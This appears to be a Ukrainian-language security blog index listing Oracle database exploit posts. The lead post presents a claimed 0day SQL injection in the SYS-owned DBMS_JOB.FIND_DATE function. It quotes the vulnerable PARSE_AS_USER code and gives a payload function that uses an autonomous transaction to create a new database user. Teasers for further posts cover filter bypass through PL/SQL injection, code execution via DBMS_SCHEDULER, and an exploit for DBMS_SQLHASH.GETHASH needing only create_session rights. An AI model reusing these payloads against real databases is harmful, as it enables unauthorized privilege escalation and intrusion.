Не люблю багато писати, тому все швиденько та по порядку: шукав функцію вразливу до sql-injection під свої потреби, наткнувся на таку в пакеті dbms_job який належить sys користувачеві, функція find_date.
...
30 CUR := DBMS_SQL.OPEN_CURSOR;
31 BEGIN
32
33 DBMS_SYS_SQL.PARSE_AS_USER( CUR, 'select sysdate, ' || INTERVAL ||
34 ' from dual', DBMS_SQL.NATIVE );
...
INTERVAL – вразливий параметр. Але тут проблема: функція не оголошена в пакеті, тобто її можна використовувати тільки всередині пакету, під мої потреби це не підходить, хоча, можливо комусь і буде потрібно. Але щоб довести справу до переможного кінця, знайшов процедуру в пакеті яка цю функцію використовує, вона там не одна, але так як мені ця функція не підійшла, я взяв першу ліпшу.
...
134 MYDATE: = FIND_DATE (INTERVAL);
135 IF NOT NO_PARSE THEN
136 PARSE_JOB (WHAT);
137 END IF;
138
...
Створюємо функцію, хоча можна використати і курсор, але я віддаю перевагу старій школі.
CREATE OR REPLACE FUNCTION fff return varchar2
authid current_user as
pragma autonomous_transaction;
BEGIN
EXECUTE IMMEDIATE 'create user fff identified by fff';
COMMIT;
RETURN 'sys';
END;
/
Ну і власне сам експлойт (під катом):
Read more...
Categories: Вразливості \ vulnerabilities, Експлоіти/Exploits Tags: 0day, DBMS_JOB PACKAGE, find_date, FUNCTION, oracle, SQL injection, zeroday, експлойт, зіродей, зиродей, оракл
І знову про Oracle 
Header
Уявімо ситуацію:
1. Back-end: Oracle Database Sever (8i-10g).
2. Front-end: Apache + php (будь-http сервер + будь-який інтерпретатор, не важливо який, але для наочності візьмемо php, саме його я і використовував при написанні цієї статті).
3. Завдання: обійти обмеження і отримати якомога більше інформації
4. Захист: фільтр where, set, insert у запиті.
5. Ми будемо розглядати ін’єкцію в pl / sql процедуру, яка, в свою чергу, вже виконує sql запит
Read more…
Таки дійшли руки, почнемо.
Ми маємо:
1. DBA (можна й більш “дрібні” права, головне, щоб був доступ до Java, або DBMS_SCHEDULER або ALTER SYSTEM)
2. Все написане тестувалося на Win32 XP SP3 та Oracle XE (у мене немає ліцензії на платний Oracle. Тестувати дані скрипти на робочому сервері я не став) Тут ми будемо розглядати приклад тільки з DBMS_SCHEDULER. Служба OracleJobScheduler% ORACLE_SID% повинна бути запущена, інакше нічого не вийде )
Read more…
Написав нескладний exploit, що використовує уразливість в DBMS_SQLHASH.GETHASH. Exploit для роботи потребує sql ін’єкцію в pl / sql процедурі (зазвичай, на Oracle Application server, там і належать такі процедури по дефолту користувачеві з правами, яких нам достатньо). Загалом можна запитати, навіщо нам exploit, якщо є ін’єкція? Я відповім, що часто в таких процедурах йде простий sql select / update / insert, а в них ми можемо використовувати тільки простий sql. Даний exploit дозволяє виконати pl / sql, маючи при цьому тільки ін’єкцію у процедурі, яка виконує, скажімо, select і права тільки create_session.
Read more…
Останні коментарі